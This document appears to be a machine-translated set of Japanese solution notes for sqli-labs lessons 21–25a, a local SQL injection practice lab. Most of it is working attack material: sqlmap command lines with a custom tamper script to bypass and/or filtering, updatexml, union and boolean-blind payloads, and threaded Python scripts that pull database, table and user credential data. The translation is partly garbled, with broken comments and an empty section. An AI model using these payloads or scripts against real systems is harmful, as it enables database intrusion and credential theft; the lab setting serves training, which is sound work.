sql-labs自動注入解題ノート(21-25 a)


目次
  • less-21,less-22(base 64符号化に基づくクッキー注入)
  • sqlmap
  • pythonスクリプト
  • less-23(フィルタ注記#--のGET注入)
  • 構想
  • 【payload】
  • payload構造
  • 自動注入
  • sqlmap
  • pythonスクリプト

  • less-24(二次注入)
  • less-25(濾過and,orのGET連合注入)
  • 構想
  • 自動注入
  • sqlmap
  • pythonスクリプト

  • less-25 a(フィルタand,orのGETブール注入)
  • 構想
  • 自動注入
  • sqlmap
  • pythonスクリプト



  • less-21,less-22(base 64符号化に基づくクッキー注入)
    sqlmap
    header.txt
    GET /sqli-labs/Less-21/index.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Origin: http://127.0.0.1
    Connection: close
    Referer: http://127.0.0.1/sqli-labs/Less-21/
    Cookie: uname=*
    Upgrade-Insecure-Requests: 1
    
    python3 sqlmap.py -r header.txt --technique=U  --batch --fresh-queries --dump --dbms=mysql --threads=10 --tamper=base64encode
    #  tamper  base64encode.py payload  base64  
    

    pythonスクリプト
    less-23(コメント#--のGET注入をフィルタ)
    構想
    余分な引用符をand‘1’='1で閉じる
    【payload】
    select database();select user();show databases;show tables;SELECT count(schema_name) from information_schema.schemata
           :SELECT length(schema_name) from information_schema.schemata limit 0,1SELECT schema_name from information_schema.schemata
        :SELECT count(table_name) from information_schema.tables where table_schema="    "SELECT length(table_name) from information_schema.tables where table_schema="    " limit 0,1SELECT table_name from information_schema.tables where table_schema="    "SELECT count(column_name) from information_schema.columns where table_name="  " and table_schema="    "SELECT length(column_name) from information_schema.columns where table_name="  " and table_schema="    " limit 0,1SELECT column_name from information_schema.columns where table_name="  " and table_schema="    "SELECT count(   ) from     .SELECT length(   ) from     .   linit 0,1SELECT     from     .  
    

    payload構造
    
    http://127.0.0.1/sqli-labs/Less-23/?id=1' and (updatexml(1,concat(0x7e,(【payload】 limit 0,1),0x7e),1)) and '1'='1
    

    オートメーションインジェクション
    sqlmap
    python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-23/?id=1"  --technique=B  --batch --fresh-queries --dump --dbms=mysql --threads=10
    

    pythonスクリプト
    import requests
    import threading
    import queue
    from lxml import etree
    
    
    NUM=5  #   
    LIST=[]
    headers = {
         'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}
    
    
    class TimeTheBlinds(threading.Thread):
        def __init__(self,url,xpath,q):
            self.url=url
            self.xpath=xpath
            self.q=q
            super().__init__()
    
    
        def run(self):
            global LIST
            headers={
         'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}
    
    
            str1 = ''
            n=self.q.get()
            payload=self.url.format(n)
            res=requests.get(payload,headers=headers).text
            html=etree.HTML(res)
            text=html.xpath(self.xpath)
            LIST.append(text)
    
    
    
    
    def main(url,xpath):
    
    
        q = queue.Queue()
        thread_list = []
        for n in range(NUM):
            q.put(n)
        for n in range(NUM):
            thread_list.append(TimeTheBlinds(
                url,xpath,q))
        for t in thread_list:
            t.start()
        for t in thread_list:
            t.join()
        print(LIST)
    
    
    
    
    if __name__ == '__main__':
        #      
        # url = "http://127.0.0.1/sqli-labs/Less-23/?id=1' and (updatexml(1,concat(0x7e,(SELECT schema_name from information_schema.schemata limit {},1),0x7e),1)) and '1'='1"
        #    
        # url = "http://127.0.0.1/sqli-labs/Less-23/?id=1' and (updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=\"security\" limit {},1),0x7e),1)) and '1'='1"
        #     
        # url = "http://127.0.0.1/sqli-labs/Less-23/?id=1' and (updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name=\"users\" and table_schema=\"security\" limit {},1),0x7e),1)) and '1'='1"
        #   
        url = "http://127.0.0.1/sqli-labs/Less-23/?id=1' and (updatexml(1,concat(0x7e,(SELECT username from security.users limit {},1),0x7e),1)) and '1'='1"
        xpath = '/html/body/div/font[2]/font/text()'
        main(url,xpath)
    

    less-24(二次注入)
    二次注入原理及び応用
    less-25(ろ過and,orのGET連携注入)
    構想
    %26%26(&&),|and,orの代わりに
    http://127.0.0.1/sqli-labs/Less-25/?id=1' %26%26 1=1 --+
    

    オートメーションインジェクション
    sqlmap
    bypass_and_or.py(自分で書いたtamperスクリプト)
    #!/usr/bin/env python
    
    
    """
    Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
    See the file 'doc/COPYING' for copying permission
    """
    
    
    import re
    
    
    from lib.core.enums import PRIORITY
    from lib.core.settings import UNICODE_ENCODING
    
    
    __priority__ = PRIORITY.LOWEST
    
    
    def dependencies():
        pass
    
    
    def tamper(payload, **kwargs):
        """
        Base64 all characters in a given payload
    
    
        >>> tamper(anandd"1' AND SLEEP(5)#")
        '"1'  SLEEP(5)#"'
        """
        if payload:
            payload=re.sub('and','anandd',payload,flags=re.IGNORECASE)
            payload = re.sub('or', 'oorr', payload, flags=re.IGNORECASE)
    
        return payload
    if __name__ == '__main__':
        payload=" and '1'='1'"
        print (tamper(payload ))
    
    python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-25/?id=1"    --batch  --technique=B --fresh-queries --dump --dbms=mysql --threads=10  --tamper=bypass_and_or
    

    pythonスクリプト
    import requests
    import threading
    import queue
    from lxml import etree
    import re
    
    NUM=5  #   
    LIST=[]
    headers = {
         'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}
    
    def bypass(payload):
        '''
          and,or
    
        :param payload:
        :return:
        '''
        if payload:
            payload=re.sub('and','anandd',payload,flags=re.IGNORECASE)
            payload = re.sub('or', 'oorr', payload, flags=re.IGNORECASE)
    
        return payload
    def brute_field_num(url):
        '''
                   
        :param url:
        :return:        
        '''
        try:
            n=1
            while True:
                payload=url+bypass(' order by {} --+'.format(n))
                print(payload)
                res=requests.get(payload,headers=headers)
                if  'Unknown column' in res.text:
                    return n-1
                n+=1
        except Exception as e:
            print(e)
    
    
    
    
    class TimeTheBlinds(threading.Thread):
        def __init__(self,url,xpath,q):
            self.url=url
            self.xpath=xpath
            self.q=q
            super().__init__()
    
    
        def run(self):
            global LIST
            headers={
         'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}
    
    
            str1 = ''
            n=self.q.get()
            payload=bypass(self.url.format(n))
            res=requests.get(payload,headers=headers).text
            html=etree.HTML(res)
            text=html.xpath(self.xpath)
            LIST.append(text)
    
    
    
    
    def main(url,xpath):
    
    
        q = queue.Queue()
        thread_list = []
        for n in range(NUM):
            q.put(n)
        for n in range(NUM):
            thread_list.append(TimeTheBlinds(
                url,xpath,q))
        for t in thread_list:
            t.start()
        for t in thread_list:
            t.join()
        print(LIST)
    
    
    
    
    if __name__ == '__main__':
        #print( brute_field_num('http://127.0.0.1/sqli-labs/Less-25/?id=1\''))
        #url = "http://127.0.0.1/sqli-labs/Less-25/?id=-1%27%20union SELECT 1,2,schema_name from information_schema.schemata limit {} ,1--+"
        # url = "http://127.0.0.1/sqli-labs/Less-25/?id=-1%27%20union SELECT 1,2,table_name from information_schema.tables where table_schema='security' limit {} ,1--+"
        # url = "http://127.0.0.1/sqli-labs/Less-25/?id=-1%27%20union SELECT 1,2,column_name from information_schema.columns where table_name='users' and table_schema='security' limit {} ,1--+"
        # url = "http://127.0.0.1/sqli-labs/Less-25/?id=-1%27%20union SELECT 1,username,password from security.users limit {} ,1--+"
        xpath = '/html/body/div/font[2]/font/text()'
        main(url,xpath)
    
    

    less-25 a(フィルタand,orのGETブール注入)
    構想
    %26%26(&&),|and,orの代わりに
    http://127.0.0.1/sqli-labs/Less-25/?id=1' %26%26 1=1 --+
    

    オートメーションインジェクション
    sqlmap
    python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-25a/?id=1"    --batch  --technique=B --fresh-queries --dump --dbms=mysql --threads=10  --tamper=bypass_and_or  -table users
    

    pythonスクリプト
    import requests
    import threading
    import queue
    import string
    import re
    
    NUM=5  #   
    LIST=[]
    headers = {
         'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}
    
    def bypass(payload):
        '''
          and,or
    
        :param payload:
        :return:
        '''
        if payload:
            payload=re.sub('and','anandd',payload,flags=re.IGNORECASE)
            payload = re.sub('or', 'oorr', payload, flags=re.IGNORECASE)
    
        return payload
    
    
    
    
    
    class TimeTheBlinds(threading.Thread):
        def __init__(self,url,q,payload):
            self.url=url
    
    
            self.q=q
            self.payload=payload
            self.len=30
            self.string = string.printable
            super().__init__()
    
    
        def run(self):
            global LIST
            headers = {
         'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}
    
    
            str1 = ''
            n = self.q.get()
    
    
            for l in range(1, self.len + 1):
    
    
                for c in self.string:
                    try:
                        # print(bypass(self.url.format(self.payload,n, l, ord(c))))
                        res=requests.get(bypass(self.url.format(self.payload,n, l, ord(c))), headers=headers).text
                        if 'Your Login name' in res:
                            str1 += str(c)
                            print(str1)
                    except Exception as e:
                        print(e)
            LIST.append(str1)
    
    
    
    
    def main(url,payload):
    
    
        q = queue.Queue()
        thread_list = []
        for n in range(NUM):
            q.put(n)
        for n in range(NUM):
            thread_list.append(TimeTheBlinds(
                url,q,payload))
        for t in thread_list:
            t.start()
        for t in thread_list:
            t.join()
        print(LIST)
    
    
    
    
    if __name__ == '__main__':
        db = 'SELECT schema_name from information_schema.schemata'
        table = 'SELECT table_name from information_schema.tables where table_schema="security"'
        column = 'SELECT column_name from information_schema.columns where table_name="users" and table_schema="security"'
        vlaue = 'SELECT username from security.users'
        url='http://127.0.0.1/sqli-labs/Less-25a/?id=1%20and%20ord(substr(({} limit {},1),{},1))={}--+'
    
        main(url,vlaue)